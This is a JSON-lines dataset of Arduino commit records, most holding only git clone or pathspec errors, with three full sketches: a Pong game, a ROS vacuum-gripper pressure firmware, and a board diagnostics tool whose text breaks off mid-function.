{"commit":"78f632e6ab801c37a5f6dd4beaf15e016d296756","subject":"[arduino] Speeds up sending of energy to erpi1.","message":"[arduino] Speeds up sending of energy to erpi1.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"arduino\/energy\/energy.ino","new_file":"arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c7d6767f1cf4e39fd0dfa5b58bedfc4d52c50604","subject":"Added pong","message":"Added pong\n","repos":"makesaltlake\/arduino-games,makesaltlake\/arduino-games","old_file":"pong\/pong.ino","new_file":"pong\/pong.ino","new_contents":"\/\/ Define pins used by potentiometer knobs\n#define paddle_l 22\n#define paddle_r 21\n\n\/\/ Define pins used by buttons\n#define button_l 4\n#define button_r 5\n#define button_m 6\n\n\/\/ Define pins used by SPI to communicate with LCD display\n#define cs 10\n#define dc 9\n#define rst 8 \/\/ you can also connect this to the Arduino reset\n\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <Adafruit_ST7735.h> \/\/ Hardware-specific library\n#include <SPI.h>\n\n\/\/ Initialize the display object with the pins we chose\nAdafruit_ST7735 tft = Adafruit_ST7735(cs, dc, rst);\n\n#define ANALOG_MAX 1024\n#define WIDTH 126\n#define HEIGHT 158\n\n#define PADDLE_SIZE 30\n\nint player1_pos = 0, player1_score = 0;\nint player2_pos = 0, player2_score = 0;\n\nfloat ball_x, ball_y;\nfloat ball_xdir, ball_ydir;\n\nvoid draw_paddle(int x, int y, int color) {\n tft.drawFastVLine(x-1, y-PADDLE_SIZE\/2+2, PADDLE_SIZE-4, color);\n tft.drawFastVLine(x+0, y-PADDLE_SIZE\/2, PADDLE_SIZE, color);\n tft.drawFastVLine(x+1, y-PADDLE_SIZE\/2+2, PADDLE_SIZE-4, color);\n}\n\nvoid draw_ball(int x, int y, int color) {\n tft.fillCircle(x, y, 4, color);\n}\n\nvoid draw_score(int player, int value, int color) {\n tft.setTextColor(color);\n if (player == 1)\n tft.setCursor(7, 0);\n if (player == 2)\n tft.setCursor(WIDTH-10, 0);\n tft.print(value);\n}\n\nvoid reset_ball() {\n ball_x = WIDTH\/2;\n ball_y = HEIGHT\/2;\n ball_xdir = 2.5;\n if(random(2) == 0) ball_xdir *= -1;\n ball_ydir = random(0, 5)\/2;\n}\n\nvoid setup(void) {\n randomSeed(analogRead(0));\n \n pinMode(button_l, INPUT);\n pinMode(button_r, INPUT);\n pinMode(button_m, INPUT);\n \n tft.initR(INITR_REDTAB); \/\/ alternative: INITR_GREENTAB\n tft.fillScreen(ST7735_BLACK);\n delay(500);\n\n tft.setTextSize(1);\n \n reset_ball();\n}\n\nvoid loop() {\n draw_ball(ball_x, ball_y, ST7735_BLACK);\n draw_paddle(4, player1_pos, ST7735_BLACK);\n draw_paddle(WIDTH-4, player2_pos, ST7735_BLACK);\n\n draw_score(1, player1_score, ST7735_BLACK);\n draw_score(2, player2_score, ST7735_BLACK);\n\n player1_pos = HEIGHT - (analogRead(paddle_l) * HEIGHT \/ ANALOG_MAX);\n player2_pos = HEIGHT - (analogRead(paddle_r) * HEIGHT \/ ANALOG_MAX);\n\n \/\/ If ball goes to top or bottom, just bounce\n if (ball_y < 4 || ball_y > HEIGHT-4) {\n ball_ydir *= -1;\n }\n\n \/\/ If ball hits player 1's paddle, bounce\n if (ball_x > 4 && ball_x < 8 &&\n ball_y > (player1_pos - PADDLE_SIZE\/2) &&\n ball_y < (player1_pos + PADDLE_SIZE\/2)) {\n ball_xdir *= -1;\n ball_ydir += (ball_y - player1_pos) \/ PADDLE_SIZE * 2.5;\n }\n\n \/\/ If ball hits player 2's paddle, bounce\n if (ball_x > WIDTH-8 && ball_x < WIDTH-4 &&\n ball_y > (player2_pos - PADDLE_SIZE\/2) &&\n ball_y < (player2_pos + PADDLE_SIZE\/2)) {\n ball_xdir *= -1;\n ball_ydir += (ball_y - player2_pos) \/ PADDLE_SIZE * 2.5;\n }\n \n ball_x += ball_xdir;\n ball_y += ball_ydir;\n \/\/ If ball gets behind either player, it's gone\n if (ball_x < 0) {\n player2_score++;\n reset_ball();\n }\n if (ball_x > WIDTH) {\n player1_score++;\n reset_ball();\n }\n \n draw_ball(ball_x, ball_y, ST7735_BLUE);\n draw_paddle(4, player1_pos, ST7735_WHITE);\n draw_paddle(WIDTH-4, player2_pos, ST7735_WHITE);\n \n draw_score(1, player1_score, ST7735_RED);\n draw_score(2, player2_score, ST7735_RED);\n \n delay(30);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pong\/pong.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f92cc90c595986f8c9d885fdc6fff3fb83584285","subject":"prepare for relay support","message":"prepare for relay support\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"763e95a93b296ea21f86dfbe11a1e0f4170eac95","subject":"first version","message":"first version\n\nSW-420 is a motion sensor. Soldered on a Grove protoshield, together\nwith a LED which light on when motion\/shock is triggered.\n","repos":"flashypepo\/smartdevices,flashypepo\/smartdevices,flashypepo\/smartdevices","old_file":"verdiepingslessen\/SW-420 Motion Sensor Vibration\/MotionSensor-basic\/MotionSensor-basic.ino","new_file":"verdiepingslessen\/SW-420 Motion Sensor Vibration\/MotionSensor-basic\/MotionSensor-basic.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/flashypepo\/smartdevices.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aa3216173aa8abfac8dcecc4a8553fdbeb100369","subject":"keep reading until u_X_dis reach good range","message":"keep reading until u_X_dis reach good range\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5f3b5edb31a0534c116a2aa7780e39edf2a9529","subject":"added arduino nano firmware","message":"added arduino nano firmware\n","repos":"pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc","old_file":"jsk_2016_01_baxter_apc\/firmware\/arm_manager.ino","new_file":"jsk_2016_01_baxter_apc\/firmware\/arm_manager.ino","new_contents":"#include <SPI.h>\n#include <ros.h>\n#include <std_msgs\/String.h>\n#include <std_msgs\/Bool.h>\n#include <std_msgs\/Float64.h>\n#include <std_msgs\/Int16.h>\n#include <Servo.h>\n\nunsigned long int temp_raw, pres_raw;\nsigned long int t_fine;\n\nuint16_t dig_T1;\nint16_t dig_T2;\nint16_t dig_T3;\nuint16_t dig_P1;\nint16_t dig_P2;\nint16_t dig_P3;\nint16_t dig_P4;\nint16_t dig_P5;\nint16_t dig_P6;\nint16_t dig_P7;\nint16_t dig_P8;\nint16_t dig_P9;\nint8_t dig_H1;\nint16_t dig_H2;\nint8_t dig_H3;\nint16_t dig_H4;\nint16_t dig_H5;\nint8_t dig_H6;\n\nros::NodeHandle nh; \/\/write with IDE\n\/\/ ros::NodeHandle_<ArduinoHardware, 1, 2, 512, 512> nh;\n\nstd_msgs::Float64 float_msg;\nstd_msgs::Bool bool_msg;\n\nros::Publisher pressure_pub(\"vacuum_gripper\/limb\/right\/pressure\", &float_msg);\nros::Publisher state_pub(\"gripper_grabbed\/limb\/right\/state\", &bool_msg);\n\nunsigned long publisher_timer = 0;\n\nServo myservo;\n\nvoid servoCb(const std_msgs::Int16& angle_msg)\n{\n myservo.write(angle_msg.data);\n}\n\nros::Subscriber<std_msgs::Int16> servo_sub(\"vacuum_gripper\/limb\/right\/servo\", &servoCb);\n\nvoid setup() {\n init_servo();\n pinMode(SS, OUTPUT);\n digitalWrite(SS, HIGH);\n nh.getHardware()->setBaud(57600);\n nh.initNode();\n nh.subscribe(servo_sub);\n nh.advertise(pressure_pub);\n nh.advertise(state_pub);\n\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV8);\n initBME();\n readTrim();\n}\n\n\nvoid loop() {\n float temp_act = 0.0, press_act = 0.0;\n unsigned long int press_cal, temp_cal;\n\n if (millis() > publisher_timer) {\n readData();\n temp_cal = calibration_T(temp_raw);\n press_cal = calibration_P(pres_raw);\n temp_act = (float)temp_cal \/ 100.0;\n press_act = (float)press_cal \/ 100.0;\n\n bool_msg.data = (press_act < 900);\n float_msg.data = press_act;\n\n state_pub.publish(&bool_msg);\n pressure_pub.publish(&float_msg);\n\n publisher_timer = millis() + 100;\n }\n nh.spinOnce();\n}\n\nvoid init_servo()\n{\n myservo.attach(9);\n}\n\nvoid initBME()\n{\n digitalWrite(SS, LOW);\n SPI.transfer((0xF5 & 0x7F));\n SPI.transfer(0xA0);\n SPI.transfer((0xF4 & 0x7F));\n SPI.transfer(0x27);\n digitalWrite(SS, HIGH);\n}\n\nvoid readTrim()\n{\n uint8_t data[32];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0x88 | 0x80));\n for (i = 0; i < 24; i++) {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n SPI.transfer((0xA1 | 0x80));\n data[24] = SPI.transfer(0);\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n SPI.transfer((0xE1 | 0x80));\n for (i = 25; i < 32; i++) {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n\n dig_T1 = (data[1] << 8) | data[0];\n dig_T2 = (data[3] << 8) | data[2];\n dig_T3 = (data[5] << 8) | data[4];\n dig_P1 = (data[7] << 8) | data[6];\n dig_P2 = (data[9] << 8) | data[8];\n dig_P3 = (data[11] << 8) | data[10];\n dig_P4 = (data[13] << 8) | data[12];\n dig_P5 = (data[15] << 8) | data[14];\n dig_P6 = (data[17] << 8) | data[16];\n dig_P7 = (data[19] << 8) | data[18];\n dig_P8 = (data[21] << 8) | data[20];\n dig_P9 = (data[23] << 8) | data[22];\n dig_H1 = data[24];\n dig_H2 = (data[26] << 8) | data[25];\n dig_H3 = data[27];\n dig_H4 = (data[28] << 4) | (0x0F & data[29]);\n dig_H5 = (data[30] << 4) | ((data[29] >> 4) & 0x0F);\n dig_H6 = data[31];\n}\n\nvoid readData()\n{\n uint32_t data[8];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0xF7 | 0x80));\n for (i = 0; i < 8; i++) {\n data[i] = SPI.transfer(0x00);\n }\n digitalWrite(SS, HIGH);\n pres_raw = (data[0] << 12) | (data[1] << 4) | (data[2] >> 4);\n temp_raw = (data[3] << 12) | (data[4] << 4) | (data[5] >> 4);\n}\n\nsigned long int calibration_T(signed long int adc_T)\n{\n\n signed long int var1, var2, T;\n var1 = ((((adc_T >> 3) - ((signed long int)dig_T1 << 1))) * ((signed long int)dig_T2)) >> 11;\n var2 = (((((adc_T >> 4) - ((signed long int)dig_T1)) * ((adc_T >> 4) - ((signed long int)dig_T1))) >> 12) * ((signed long int)dig_T3)) >> 14;\n\n t_fine = var1 + var2;\n T = (t_fine * 5 + 128) >> 8;\n return T;\n}\n\nunsigned long int calibration_P(signed long int adc_P)\n{\n signed long int var1, var2;\n unsigned long int P;\n var1 = (((signed long int)t_fine) >> 1) - (signed long int)64000;\n var2 = (((var1 >> 2) * (var1 >> 2)) >> 11) * ((signed long int)dig_P6);\n var2 = var2 + ((var1 * ((signed long int)dig_P5)) << 1);\n var2 = (var2 >> 2) + (((signed long int)dig_P4) << 16);\n var1 = (((dig_P3 * (((var1 >> 2) * (var1 >> 2)) >> 13)) >> 3) + ((((signed long int)dig_P2) * var1) >> 1)) >> 18;\n var1 = ((((32768 + var1)) * ((signed long int)dig_P1)) >> 15);\n if (var1 == 0)\n {\n return 0;\n }\n P = (((unsigned long int)(((signed long int)1048576) - adc_P) - (var2 >> 12))) * 3125;\n if (P < 0x80000000)\n {\n P = (P << 1) \/ ((unsigned long int) var1);\n }\n else\n {\n P = (P \/ (unsigned long int)var1) * 2;\n }\n var1 = (((signed long int)dig_P9) * ((signed long int)(((P >> 3) * (P >> 3)) >> 13))) >> 12;\n var2 = (((signed long int)(P >> 2)) * ((signed long int)dig_P8)) >> 13;\n P = (unsigned long int)((signed long int)P + ((var1 + var2 + dig_P7) >> 4));\n return P;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jsk_2016_01_baxter_apc\/firmware\/arm_manager.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e8fe9fff2db53e13bbceabd20d5de4bbb8b0f842","subject":"Move WiFi connect debug messages","message":"Move WiFi connect debug messages","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"a450a22f51ee39a8eaf65e8920db9da810b00b2f","subject":"Added the code for the compass.ino and accelerometer.ino files.","message":"Added the code for the compass.ino and accelerometer.ino files.\n\nWe still will need to ensure that we can integrate these systems.\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"accelerometer.ino","new_file":"accelerometer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"45e0c54349ad7c992092a0381d62fb084de49ed0","subject":"added rtc example.","message":"added rtc example.\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/10. Etc\/rtc_time\/rtc_time.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/10. Etc\/rtc_time\/rtc_time.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/10.' did not match any file(s) known to git\nerror: pathspec 'Etc\/rtc_time\/rtc_time.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"deddd9b1d532f728f111d59c0a714556dc7c857a","subject":"Add ShowInfo script from internet that shows timings","message":"Add ShowInfo script from internet that shows timings\n","repos":"Seekatar\/GpioPlayground,Seekatar\/GpioPlayground,Seekatar\/GpioPlayground,Seekatar\/GpioPlayground,Seekatar\/GpioPlayground","old_file":"ShowInfo\/ShowInfo.ino","new_file":"ShowInfo\/ShowInfo.ino","new_contents":"\/\/ -----------------------------------------------------\n\/\/ Arduino ShowInfo\n\/\/ Show what the Arduino has to tell you.\n\/\/\n\/\/ 10 April 2012: Extra speed tests,\n\/\/ and a few other additions.\n\/\/ 17 April 2012: The name 'ADCW' is preferred over 'ADC'.\n\/\/ 23 April 2012: Changed PB5 into PORTB5.\n\/\/ 1 July 2012 : Added i2c_scanner.\n\/\/ More speed tests.\n\/\/ 21 July 2012 : Added divide speed tests.\n\/\/ 25 July 2012 : Added sketchSize.\n\/\/ 26 July 2012 : Changed sketchSize for more than 64kB.\n\/\/ Also show sketchSize in percentage.\n\/\/ Added processor defines.\n\/\/ Arduino Mega compatible (not tested).\n\/\/ 5 November 2014 : Tested on Arduino Mega 2560\n\/\/ Added Arduino version \"ARDUINO\".\n\/\/ Replaced \"double\" with \"float\".\n\/\/ The i2c scanner scans now 1 up to 126,\n\/\/ it was 0 up to 127.\n\/\/ Added UTF-8 test.\n\/\/ The delayMicroseconds(1) replaced by \n\/\/ 2 micro seconds. I think one micro second\n\/\/ was not called.\n\/\/ The analogReference() timing removed,\n\/\/ I think it was not called.\n\/\/ 4 December 2014 : Delay to allow the Serial.print to be printed.\n\/\/ More floating point and 32-bit integer tests.\n\/\/ Tested with Arduino 1.0.6 and Leonardo and Uno.\n\/\/ -----------------------------------------------------\n\n#include <avr\/boot.h>\n#include <Wire.h>\n\nvoid setup() \n{\n \/\/ The system led is present on most Arduino boards.\n pinMode(13,OUTPUT);\n\n Serial.begin(9600);\n\n#if defined (__AVR_ATmega32U4__)\n while(!Serial); \/\/ For Leonardo, wait for serial port\n#endif\n\n\n Serial.println(F(\"Arduino ShowInfo\"));\n Serial.println(F(\"Show what the Arduino has to tell you.\"));\n\n ShowMenu();\n}\n\n\nvoid loop() \n{\n int incomingByte, i, n;\n\n if (Serial.available() > 0)\n {\n incomingByte = Serial.read();\n\n switch (incomingByte)\n {\n#if !defined (__AVR_ATmega32U4__)\n case '0':\n Serial.println(F(\"System LED off\"));\n digitalWrite(13,LOW);\n Serial.println(F(\"-----------\"));\n break;\n case '1':\n Serial.println(F(\"System LED on\"));\n digitalWrite(13,HIGH);\n Serial.println(F(\"-----------\"));\n break;\n case '2':\n i2c_scanner();\n break;\n#endif\n case 'i':\n Information();\n break;\n case 'r':\n Serial.println(F(\"Test serial communcation\"));\n Serial.println(F(\"Will your terminal program send characters immediately?\"));\n Serial.println(F(\"Enter characters, followed by Enter\"));\n for (i=0; i<25; i++)\n {\n Serial.print(F(\"Serial.available() = \"));\n n = Serial.available();\n Serial.print(n,DEC);\n Serial.print(F(\" Serial.peek() = \"));\n n = Serial.peek();\n Serial.println(n,DEC);\n delay(500);\n }\n \/\/ empty the buffer of incoming data\n while (Serial.available() > 0)\n Serial.read();\n Serial.println(F(\"-----------\"));\n break;\n case 's':\n SpeedTest();\n break;\n#if !defined (__AVR_ATmega32U4__)\n case 't':\n TimerRegisterDump();\n break;\n#endif\n case 'h':\n case '?':\n ShowMenu();\n break;\n \/\/ Ignore some characters, like the carriage return and line feed.\n case '\\'':\n case '\\r':\n case '\\n':\n break;\n default:\n Serial.print(F(\"Unknown command: 0x\"));\n Serial.println(incomingByte,HEX);\n Serial.println(F(\"Type '?' followed by Enter\"));\n \/\/ Something could be wrong, delete incoming data in buffer\n while (Serial.available() > 0)\n Serial.read();\n Serial.println(F(\"-----------\"));\n break; \n }\n }\n}\n\n\n\nvoid ShowMenu(void)\n{\n Serial.println(F(\"\"));\n Serial.println(F(\"Menu\"));\n Serial.println(F(\"-----------\"));\n#if !defined (__AVR_ATmega32U4__)\n Serial.println(F(\"0 = System LED off\"));\n Serial.println(F(\"1 = System LED on\"));\n Serial.println(F(\"2 = i2c_scanner\"));\n#endif\n Serial.println(F(\"i = Show information\"));\n Serial.println(F(\"h = Show menu\"));\n Serial.println(F(\"r = Test serial communication\"));\n Serial.println(F(\"s = Speed tests\"));\n#if !defined (__AVR_ATmega32U4__)\n Serial.println(F(\"t = Timer Register Dump\"));\n#endif\n Serial.println(F(\"? = Show menu\"));\n Serial.println(F(\"\"));\n Serial.println(F(\"Type command, followed by Enter\"));\n}\n\n\n\nfloat GetTemp(void)\n{\n unsigned int wADC;\n float t;\n\n \/\/ The internal temperature has to be used \n \/\/ with the internal reference of 1.1V.\n \/\/ Channel 8 can not be selected with \n \/\/ the analogRead function yet.\n\n \/\/ This code is not valid for the Arduino Mega,\n \/\/ and the Arduino Mega 2560.\n\n#ifdef THIS_MIGHT_BE_VALID_IN_THE_FUTURE\n analogReference (INTERNAL);\n delay(20); \/\/ wait for voltages to become stable.\n wADC = analogRead(8); \/\/ Channel 8 is temperature sensor.\n#else\n \/\/ Set the internal reference and mux.\n ADMUX = (_BV(REFS1) | _BV(REFS0) | _BV(MUX3));\n ADCSRA |= _BV(ADEN); \/\/ enable the ADC\n\n delay(20); \/\/ wait for voltages to become stable.\n\n ADCSRA |= _BV(ADSC); \/\/ Start the ADC\n\n \/\/ Detect end-of-conversion\n while (bit_is_set(ADCSRA,ADSC));\n\n \/\/ Reading register \"ADCW\" takes care of how to read ADCL and ADCH.\n#if defined (__AVR_ATmega32U4__)\n wADC = ADC; \/\/ For Arduino Leonardo\n#else\n wADC = ADCW; \/\/ 'ADCW' is preferred over 'ADC'\n#endif\n#endif\n\n \/\/ The offset of 337.0 could be wrong. It is just an indication.\n t = (wADC - 337.0 ) \/ 1.22;\n\n return (t);\n}\n\n\n\n\/\/ Helper function for free ram.\n\/\/ With use of http:\/\/playground.arduino.cc\/Code\/AvailableMemory\n\/\/\nint freeRam(void)\n{\n extern unsigned int __heap_start;\n extern void *__brkval;\n\n int free_memory;\n int stack_here;\n\n if (__brkval == 0)\n free_memory = (int) &stack_here - (int) &__heap_start;\n else\n free_memory = (int) &stack_here - (int) __brkval; \n\n return (free_memory);\n}\n\n\n\n\/\/ Helper function for sketch size.\n\/\/ The sketch size is runtime calculated.\n\/\/ From user \"Coding Badly\" in his post:\n\/\/ http:\/\/arduino.cc\/forum\/index.php\/topic,115870.msg872309.html#msg872309\n\/\/ Changed into unsigned long for code size larger than 64kB.\n\/\/\n\/\/ This function returns the sketch size \n\/\/ for a size between 0 and 32k. If the code\n\/\/ size is larger (for example with an Arduino Mega),\n\/\/ the return value is not valid.\n\/\/\nunsigned long sketchSize(void)\n{\n extern int _etext;\n extern int _edata;\n\n return ((unsigned long)(&_etext) + ((unsigned long)(&_edata) - 256L));\n}\n\n\n\nvoid Information(void)\n{\n int i,j;\n int data1,data2,data3,data4;\n unsigned long ul;\n float percentage;\n\n Serial.println(F(\"\"));\n#if !defined (__AVR_ATmega32U4__)\n Serial.println(F(\"Information\"));\n Serial.println(F(\"-----------\"));\n\n Serial.print(F(\"sketch Size = \"));\n ul = sketchSize();\n Serial.print(ul,DEC);\n Serial.print(F(\" (\"));\n percentage = (float) ul \/ ((float) FLASHEND + 1.0) * 100.0;\n Serial.print(percentage,0);\n Serial.println(F(\"%)\"));\n\n Serial.print(F(\"free RAM = \"));\n i = freeRam();\n Serial.println(i,DEC);\n Serial.print(F(\"RAM used = \"));\n j = (RAMEND + 1) - i;\n Serial.print(j, DEC);\n Serial.print(F(\" (\"));\n percentage = (float) j \/ ((float) RAMEND + 1.0) * 100.0;\n Serial.print(percentage,0);\n Serial.println(F(\"%)\"));\n#endif\n\n Serial.print(F(\"ARDUINO = \"));\n Serial.print(ARDUINO);\n Serial.print(F(\" (Arduino version \"));\n Serial.print( (float) ARDUINO \/ 100.0, 2);\n Serial.println(F(\")\"));\n\n Serial.print(F(\"__VERSION__ = \"));\n Serial.println(F(__VERSION__));\n\n Serial.print(F(\"__DATE__ = \"));\n Serial.println(F(__DATE__));\n\n Serial.print(F(\"__TIME__ = \"));\n Serial.println(F(__TIME__));\n\n Serial.print(F(\"__AVR_LIBC_VERSION_STRING__ = \"));\n Serial.println(F(__AVR_LIBC_VERSION_STRING__));\n\n Serial.print(F(\"__FILE__ = \"));\n Serial.println(F(__FILE__));\n\n Serial.print(F(\"__STDC__ = \"));\n Serial.println(__STDC__,DEC);\n\n#if !defined (__AVR_ATmega32U4__)\n Serial.print(F(\"OSCCAL = \"));\n Serial.println(OSCCAL,DEC);\n\n Serial.print(F(\"GPIOR0 = 0x\"));\n Serial.println(GPIOR0,HEX);\n\n Serial.print(F(\"GPIOR1 = 0x\"));\n Serial.println(GPIOR1,HEX);\n\n Serial.print(F(\"GPIOR1 = 0x\"));\n Serial.println(GPIOR1,HEX);\n#endif\n\n Serial.print(F(\"RAMEND = 0x\"));\n Serial.println(RAMEND,HEX);\n\n Serial.print(F(\"XRAMEND = 0x\"));\n Serial.println(XRAMEND,HEX);\n\n Serial.print(F(\"E2END = 0x\"));\n Serial.println(E2END,HEX);\n\n Serial.print(F(\"FLASHEND = 0x\"));\n Serial.println(FLASHEND,HEX);\n\n cli();\n data1 = boot_lock_fuse_bits_get(GET_LOW_FUSE_BITS);\n data2 = boot_lock_fuse_bits_get(GET_HIGH_FUSE_BITS);\n data3 = boot_lock_fuse_bits_get(GET_EXTENDED_FUSE_BITS);\n data4 = boot_lock_fuse_bits_get(GET_LOCK_BITS);\n sei();\n\n Serial.print(F(\"LOW FUSE = 0x\"));\n Serial.println(data1,HEX);\n\n Serial.print(F(\"HIGH FUSE = 0x\"));\n Serial.println(data2,HEX);\n\n Serial.print(F(\"EXTENDED FUSE = 0x\"));\n Serial.println(data3,HEX);\n\n Serial.print(F(\"LOCK BITS = 0x\"));\n Serial.println(data4,HEX);\n\n Serial.print(F(\"Processor according to compiler = \"));\n#if defined (__AVR_ATtiny45__)\n Serial.println(F(\"__AVR_ATtiny45__\"));\n#elif defined (__AVR_ATtiny85__)\n Serial.println(F(\"__AVR_ATtiny85__\"));\n#elif defined (__AVR_ATtiny2313__)\n Serial.println(F(\"__AVR_ATtiny2313__\"));\n#elif defined (__AVR_ATtiny2313A__)\n Serial.println(F(\"__AVR_ATtiny2313A__\"));\n#elif defined (__AVR_ATmega48__)\n Serial.println(F(\"__AVR_ATmega48__\"));\n#elif defined (__AVR_ATmega48A__)\n Serial.println(F(\"__AVR_ATmega48A__\"));\n#elif defined (__AVR_ATmega48P__)\n Serial.println(F(\"__AVR_ATmega48P__\"));\n#elif defined (__AVR_ATmega8__)\n Serial.println(F(\"__AVR_ATmega8__\"));\n#elif defined (__AVR_ATmega8U2__)\n Serial.println(F(\"__AVR_ATmega8U2__\"));\n#elif defined (__AVR_ATmega88__)\n Serial.println(F(\"__AVR_ATmega88__\"));\n#elif defined (__AVR_ATmega88A__)\n Serial.println(F(\"__AVR_ATmega88A__\"));\n#elif defined (__AVR_ATmega88P__)\n Serial.println(F(\"__AVR_ATmega88P__\"));\n#elif defined (__AVR_ATmega88PA__)\n Serial.println(F(\"__AVR_ATmega88PA__\"));\n#elif defined (__AVR_ATmega16__)\n Serial.println(F(\"__AVR_ATmega16__\"));\n#elif defined (__AVR_ATmega168__)\n Serial.println(F(\"__AVR_ATmega168__\"));\n#elif defined (__AVR_ATmega168A__)\n Serial.println(F(\"__AVR_ATmega168A__\"));\n#elif defined (__AVR_ATmega168P__)\n Serial.println(F(\"__AVR_ATmega168P__\"));\n#elif defined (__AVR_ATmega32__)\n Serial.println(F(\"__AVR_ATmega32__\"));\n#elif defined (__AVR_ATmega328__)\n Serial.println(F(\"__AVR_ATmega328__\"));\n#elif defined (__AVR_ATmega328P__) \n Serial.println(F(\"__AVR_ATmega328P__\"));\n#elif defined (__AVR_ATmega32U2__)\n Serial.println(F(\"__AVR_ATmega32U2__\"));\n#elif defined (__AVR_ATmega32U4__)\n Serial.println(F(\"__AVR_ATmega32U4__\"));\n#elif defined (__AVR_ATmega32U6__)\n Serial.println(F(\"__AVR_ATmega32U6__\"));\n#elif defined (__AVR_ATmega128__)\n Serial.println(F(\"__AVR_ATmega128__\"));\n#elif defined (__AVR_ATmega1280__)\n Serial.println(F(\"__AVR_ATmega1280__\"));\n#elif defined (__AVR_ATmega2560__)\n Serial.println(F(\"__AVR_ATmega2560__\"));\n#endif\n\n#ifdef SIGRD\n Serial.print(F(\"SIGRD = \"));\n Serial.println(SIGRD,DEC);\n#else\n Serial.println(F(\"SIGRD : not defined (let's make it 5 and see what happens).\"));\n#define SIGRD 5\n#endif\n\n Serial.print(F(\"Signature = 0x\"));\n\n data1 = boot_signature_byte_get(0x00);\n data2 = boot_signature_byte_get(0x02);\n data3 = boot_signature_byte_get(0x04);\n data4 = boot_signature_byte_get(0x01);\n\n Serial.print(data1,HEX);\n Serial.print(F(\", 0x\"));\n Serial.print(data2,HEX);\n Serial.print(F(\", 0x\"));\n Serial.println(data3,HEX);\n\n Serial.print(F(\"calibration = \"));\n Serial.println(data3,DEC);\n\n#if !defined (__AVR_ATmega32U4__)\n Serial.print(F(\"Number of seconds since start = \"));\n Serial.println(millis()\/1000L,DEC);\n#endif\n\n#if defined (__AVR_ATmega328P__)\n Serial.print(F(\"Internal Temperature = \"));\n Serial.print(GetTemp(),1);\n Serial.println(F(\" Celsius (the offset could be wrong).\"));\n#endif\n\n Serial.println(F(\"UTF-8 test:\"));\n Serial.println(F(\" Micro \u00b5 \u00b5 \u00b5 \u00b5 \u00b5 \u00b5 \u00b5 \u00b5 \u00b5 \u00b5\"));\n Serial.println(F(\" Euro \u20ac \u20ac \u20ac \u20ac \u20ac \u20ac \u20ac \u20ac \u20ac \u20ac\"));\n Serial.println(F(\" (c) \u00a9 \u00a9 \u00a9 \u00a9 \u00a9 \u00a9 \u00a9 \u00a9 \u00a9 \u00a9\"));\n\n Serial.println(F(\"-----------\"));\n}\n\n\n#if !defined (__AVR_ATmega32U4__)\nvoid 